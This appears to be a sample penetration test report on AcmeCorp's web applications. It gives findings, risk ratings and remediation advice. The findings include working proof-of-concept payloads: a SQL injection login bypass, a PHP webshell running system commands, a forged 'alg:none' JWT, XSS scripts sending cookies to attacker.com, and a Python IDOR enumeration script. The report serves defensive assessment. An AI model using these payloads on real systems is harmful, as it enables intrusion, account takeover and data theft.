Restricted Distribution
SECURITY ASSESSMENT REPORT
Web Application
Penetration Test
Comprehensive Vulnerability Assessment & Risk Analysis
Executive Summary
High-level overview of findings for executive and management-level stakeholders.
Between June 16–30, 2025, HarzioSec conducted a comprehensive black-box penetration test of the AcmeCorp web application suite (app.acmecorp.com, api.acmecorp.com). The engagement identified 19 vulnerabilities across critical business functions, including authentication, data storage, and API endpoints. Three vulnerabilities are rated Critical, granting unauthenticated remote code execution and full database compromise.
Key Risk Areas
- Critical SQL Injection in login and search endpoints
- Critical Remote Code Execution via file upload bypass
- Critical Authentication bypass using JWT algorithm confusion
- High Stored XSS in user profile comments
- High Insecure Direct Object Reference (IDOR) on /api/users/
- Medium Missing HTTP security headers (CSP, HSTS)
Risk Distribution
Scope & Methodology
Targets assessed, testing boundaries, and techniques employed.
In-Scope Targets
| Target | Type | Status |
|---|---|---|
app.acmecorp.com | Web App | Tested |
api.acmecorp.com/v1/* | REST API | Tested |
admin.acmecorp.com | Admin Panel | Tested |
10.0.1.0/24 | Internal Network | Partial |
| Mobile App (iOS/Android) | Mobile | Out of Scope |
Testing Type
No prior knowledge of internal architecture. Simulates external attacker perspective.
Partial credentials provided for authenticated testing phases.
Standards & Frameworks
Testing Methodology — Attack Phases
OSINT gathering, DNS enumeration, subdomain discovery, technology fingerprinting via Shodan, WHOIS, BuiltWith, and Google dorks.
Port scanning, service fingerprinting, web crawling, directory brute-forcing, and API endpoint discovery.
Manual exploitation of discovered vulnerabilities. Proof-of-concept development for each critical finding.
Privilege escalation, lateral movement assessment, data exfiltration simulation, and persistence testing.
Findings documentation, CVSS scoring, evidence collection, and actionable remediation recommendations.
Vulnerability Findings
Detailed technical analysis of all identified security vulnerabilities.
SQL Injection — Login Endpoint
POST /api/v1/auth/login
Description
The login endpoint is vulnerable to classic SQL injection due to improper sanitization of the username parameter. An attacker can manipulate the SQL query to bypass authentication, enumerate the database, and extract sensitive data including password hashes of all 47,000+ registered users.
Proof of Concept
POST /api/v1/auth/login HTTP/1.1
Host: app.acmecorp.com
Content-Type: application/json
{
"username": "admin'--",
"password": "anything"
}
-- Injected SQL (server-side):
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Result: Bypasses password check, logs in as 'admin'Evidence
Fig 1.1 — SQLMap output showing successful database enumeration and credential extraction
Remediation
- Use parameterized queries / prepared statements exclusively.
- Implement an ORM (e.g., SQLAlchemy, Hibernate) to abstract raw SQL.
- Apply strict input validation and whitelisting on all user inputs.
- Deploy a Web Application Firewall (WAF) with SQL injection rule sets.
Remote Code Execution — File Upload Bypass
POST /api/v1/profile/upload
Description
The profile photo upload endpoint validates file type only by checking the Content-Type header, which can be trivially spoofed. An attacker can upload a PHP webshell disguised as a JPEG, which the server executes upon access, granting full shell access to the web server.
Proof of Concept
<?php
// Malicious webshell uploaded as profile.jpg
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
// Execution via uploaded path:
GET /uploads/profile_123/shell.php?cmd=id HTTP/1.1
// Response: uid=33(www-data) gid=33(www-data) groups=33(www-data)Remediation
- Validate file content using magic bytes, not Content-Type header alone.
- Rename uploaded files to random UUIDs with forced extension.
- Store uploaded files outside the web root or in a CDN bucket.
- Disable server-side execution in upload directories via server config.
- Implement antivirus scanning on all uploaded files.
JWT Algorithm Confusion — Auth Bypass
All authenticated endpoints
Description
The JWT library accepts the alg: none algorithm, allowing an attacker to forge arbitrary tokens without a valid signature. By modifying the JWT header to "alg":"none" and removing the signature, an attacker can impersonate any user including administrators.
Proof of Concept
// Original JWT header (decoded):
{"alg": "HS256", "typ": "JWT"}
// Modified JWT header (forged):
{"alg": "none", "typ": "JWT"}
// Forged payload (elevated privileges):
{"sub": "1", "role": "admin", "iat": 1720000000}
// Final forged token (no valid signature):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.
eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0.
[empty signature accepted by server]Remediation
- Explicitly whitelist only accepted algorithms (RS256 or HS256) in JWT library config.
- Never trust the
algfield from the token header for algorithm selection. - Update JWT library to a patched version (e.g., jsonwebtoken >= 9.0).
- Implement token revocation lists for sensitive operations.
Stored XSS — User Profile Comments
POST /api/v1/comments
Description
User-supplied comment content is stored without sanitization and rendered directly in the DOM. An attacker can inject malicious JavaScript that executes in the browser of every user who views the affected page, enabling session hijacking, credential theft, and malware distribution.
Proof of Concept
// Injected payload in comment body:
<script>
fetch('https://attacker.com/steal?c=' +
encodeURIComponent(document.cookie));
</script>
// Advanced payload with BeEF hook:
<img src=x onerror="var s=document.createElement('script');
s.src='https://attacker.com/hook.js';document.head.appendChild(s)">Evidence
Fig 4.1 — Burp Suite Pro intercepting XSS payload injection in comment POST request
Remediation
- HTML-encode all user-supplied content before rendering in the DOM.
- Implement a strict Content Security Policy (CSP) header.
- Use a server-side HTML sanitization library (e.g., DOMPurify, bleach).
- Set HttpOnly and Secure flags on all session cookies.
Insecure Direct Object Reference (IDOR)
GET /api/v1/users/{id}/data
Description
The user data endpoint accepts a numeric id parameter without verifying that the requesting user has permission to access that record. An authenticated attacker can enumerate all user IDs to access personal data of every registered user including name, email, address, and payment information.
Proof of Concept
# Python script to enumerate all user records:
import requests
headers = {"Authorization": "Bearer <attacker_jwt>"}
for user_id in range(1, 50000):
r = requests.get(
f"https://api.acmecorp.com/v1/users/{user_id}/data",
headers=headers
)
if r.status_code == 200:
print(f"[+] User {user_id}: {r.json()}")
# Result: 47,213 records exfiltrated in approx. 15 minutesRemediation
- Implement server-side authorization checks: verify requesting user ID matches resource owner.
- Use indirect references (UUIDs) instead of sequential integer IDs.
- Apply rate limiting and anomaly detection on data access endpoints.
Medium Severity Findings (7)
Missing Security Headers
CSP, HSTS, X-Frame-Options, and X-Content-Type-Options headers absent on all responses.
Reflected XSS — Search Parameter
The q parameter in the search page reflects unsanitized input into the page DOM.
Verbose Error Messages
Stack traces with internal file paths and DB schema information exposed in 500 responses.
Weak Password Policy
Minimum 6 characters accepted with no complexity requirements or breach-password checking.
Session Fixation
Session token is not regenerated after login, enabling session fixation attacks.
Insecure Deserialization
User-controlled serialized data in cookies deserialized without integrity verification.
Open Redirect
The returnUrl parameter allows redirecting users to arbitrary external domains.
Low Severity Findings (4)
Cookie Without Secure Flag
Non-session cookies transmitted over HTTP without the Secure attribute set.
Exposed .git Directory
The /.git/ directory is publicly accessible, exposing source code history.
Server Version Disclosure
HTTP response headers disclose exact web server and framework version strings.
Missing Rate Limiting
Login endpoint allows unlimited attempts without lockout, enabling brute-force attacks.
Risk Matrix
Visual mapping of all findings by likelihood and potential business impact.
Likelihood vs. Impact Matrix
CVSS Score Distribution
Remediation Priority
| Priority | Findings | Deadline |
|---|---|---|
| P1 — Critical | F-001, F-002, F-003 | Immediate (24–48h) |
| P2 — High | F-004, F-005 | Within 7 days |
| P3 — Medium | F-006 to F-012 | Within 30 days |
| P4 — Low | F-016 to F-019 | Within 90 days |
Evidence & Screenshots
Documentary evidence collected during the assessment engagement.
Recommendations
Strategic and tactical remediation guidance organized by priority and effort.
Immediate Actions (P1 — 24–48h)
Take offline or patch before returning to production
-
Parameterize all SQL queries
Replace all string-concatenated SQL with prepared statements across the entire codebase. Use an automated SAST tool to identify all instances.
Effort: MediumImpact: Critical -
Patch JWT library and disable "none" algorithm
Update to jsonwebtoken ^9.0.0 and explicitly reject tokens with alg: none in middleware.
Effort: LowImpact: Critical -
Secure the file upload endpoint
Implement magic-byte file validation, store uploads outside webroot, and disable execution in upload directories.
Effort: MediumImpact: Critical
Short-Term Actions (P2 — Within 7 Days)
High-impact vulnerabilities requiring prompt attention
-
Implement output encoding and CSP
HTML-encode all user-supplied output. Deploy Content-Security-Policy, X-Frame-Options, and X-Content-Type-Options headers.
Effort: LowImpact: High -
Add authorization checks on all API endpoints
Implement ownership verification middleware that validates the requesting user's permissions for every resource access.
Effort: HighImpact: High -
Enable rate limiting and account lockout
Implement progressive rate limiting with temporary lockouts after 5 failed authentication attempts.
Effort: LowImpact: High
Medium-Term Actions (P3 — Within 30 Days)
Security hardening and architectural improvements
-
Deploy a Web Application Firewall (WAF)
Implement AWS WAF, Cloudflare, or ModSecurity with OWASP Core Rule Set as an additional defensive layer.
Effort: MediumImpact: High -
Enforce strong password policy and MFA
Minimum 12-character passwords with complexity requirements and mandatory MFA for admin accounts.
Effort: MediumImpact: Medium -
Implement centralized security logging and SIEM
Deploy structured security event logging with alerting for authentication failures and privilege escalations.
Effort: HighImpact: Medium
Long-Term Improvements (P4 — Within 90 Days)
Process improvements and security culture
-
Establish a Secure Development Lifecycle (SDLC)
Integrate SAST (Semgrep, SonarQube) and DAST (OWASP ZAP) into CI/CD pipelines to catch vulnerabilities before deployment.
Effort: HighImpact: Long-term -
Developer security training
Mandatory OWASP Top 10 training for all developers, with annual penetration testing cadence.
Effort: MediumImpact: Long-term
Appendix
Supporting reference material, tools used, and CVSS scoring methodology.
Tools Used
| Tool | Purpose | Version |
|---|---|---|
| Burp Suite Pro | HTTP proxy & web testing | 2024.3 |
| Nmap | Port scanning & service detection | 7.94 |
| SQLMap | SQL injection automation | 1.8.3 |
| Metasploit Framework | Exploitation framework | 6.3.55 |
| OWASP ZAP | Automated DAST scanner | 2.14.0 |
| Gobuster | Directory & subdomain brute-forcing | 3.6.0 |
| Amass | Subdomain enumeration | 3.23.3 |
| Nikto | Web server vulnerability scanner | 2.1.6 |
| JWT.io | JWT analysis & manipulation | — |
| Wireshark | Network traffic analysis | 4.2.2 |
CVSS v3.1 Severity Scale
| Rating | Score Range | Indicator |
|---|---|---|
| Critical | 9.0 – 10.0 | |
| High | 7.0 – 8.9 | |
| Medium | 4.0 – 6.9 | |
| Low | 0.1 – 3.9 | |
| None | 0.0 |
Responsible Disclosure
All vulnerabilities identified in this report were responsibly disclosed to AcmeCorp Technologies Ltd. prior to publication. A 14-day remediation window was agreed upon before any external disclosure.
Testing was conducted entirely within the agreed scope. No production data was exfiltrated; all proof-of-concept actions were performed on isolated test accounts created for this engagement.
Report Sign-Off
Lead Security Consultant
HarzioSec Penetration Testing Team
Date: July 9, 2025
Quality Assurance Reviewer
HarzioSec Senior Advisory Team
Date: July 9, 2025
Client Acknowledgement
AcmeCorp Technologies Ltd. CISO
Date: ___________________